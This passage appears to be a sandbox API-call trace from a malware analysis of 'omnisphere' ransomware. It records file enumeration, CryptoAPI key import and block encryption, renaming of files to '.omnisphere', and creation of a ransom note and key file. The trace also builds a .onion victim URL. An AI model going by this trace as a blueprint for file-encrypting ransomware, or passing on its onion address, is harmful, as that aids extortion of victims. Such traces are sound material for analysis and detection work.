pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.888] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.889] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.889] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.889] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.889] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.889] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.889] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.889] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0118.889] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3ec, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.889] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.889] GetProcessHeap () returned 0x1600000 [0118.889] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x16af018 [0118.889] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2 yxspuc0gnavvxc fst.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2 yxspuc0gnavvxc fst.lnk.omnisphere")) returned 1 [0118.890] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk.omnisphere.id" [0118.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2 yxspuc0gnavvxc fst.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.890] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.891] CloseHandle (hObject=0x3c0) returned 1 [0118.892] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.892] CloseHandle (hObject=0x288) returned 1 [0118.892] SetEndOfFile (hFile=0x28c) returned 1 [0118.892] FlushFileBuffers (hFile=0x28c) returned 1 [0118.897] CloseHandle (hObject=0x28c) returned 1 [0118.898] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 yXsPUC0GNavVxC Fst.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.898] GetProcessHeap () returned 0x1600000 [0118.898] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16af2e8 [0118.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.898] GetProcessHeap () returned 0x1600000 [0118.898] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693ee0 [0118.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693ee0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.898] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.898] GetProcessHeap () returned 0x1600000 [0118.898] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687008 [0118.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687008, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.898] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.898] GetProcessHeap () returned 0x1600000 [0118.898] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a13f0 [0118.898] PathCombineW (in: pszDest=0x16a13f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.898] GetProcessHeap () returned 0x1600000 [0118.898] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16aadc8 [0118.898] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.898] WriteFile (in: hFile=0x28c, lpBuffer=0x16aadc8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16aadc8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.899] CloseHandle (hObject=0x28c) returned 1 [0118.899] GetProcessHeap () returned 0x1600000 [0118.899] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16af2e8 | out: hHeap=0x1600000) returned 1 [0118.899] GetProcessHeap () returned 0x1600000 [0118.899] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.899] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.899] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.899] CloseHandle (hObject=0x28c) returned 1 [0118.899] GetProcessHeap () returned 0x1600000 [0118.899] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.899] GetProcessHeap () returned 0x1600000 [0118.899] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0118.899] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e0b901c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e0b901c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e0b901c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x0, dwReserved1=0xd3, cFileName="2HMvxJbgu86g.lnk", cAlternateFileName="2HMVXJ~1.LNK")) returned 1 [0118.899] GetProcessHeap () returned 0x1600000 [0118.899] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0118.900] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="2HMvxJbgu86g.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk" [0118.900] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2hmvxjbgu86g.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.900] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=658) returned 1 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.900] GetTickCount () returned 0x115db68 [0118.901] GetTickCount () returned 0x115db68 [0118.901] GetTickCount () returned 0x115db68 [0118.901] GetTickCount () returned 0x115db68 [0118.901] GetTickCount () returned 0x115db68 [0118.901] GetTickCount () returned 0x115db68 [0118.901] GetTickCount () returned 0x115db68 [0118.901] GetTickCount () returned 0x115db68 [0118.901] GetTickCount () returned 0x115db68 [0118.901] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0118.901] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b68) returned 1 [0118.901] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.901] CryptDestroyKey (hKey=0x1639b68) returned 1 [0118.901] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0118.901] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x292, lpName=0x0) returned 0x288 [0118.902] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x292) returned 0x1480000 [0118.902] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668df0) returned 1 [0118.902] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.902] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.902] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.902] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.902] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.902] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.902] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.903] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.904] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.904] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0118.904] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x292, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.904] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.904] GetProcessHeap () returned 0x1600000 [0118.904] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x16af2e8 [0118.904] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2hmvxjbgu86g.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk.omnisphere" (normalized: 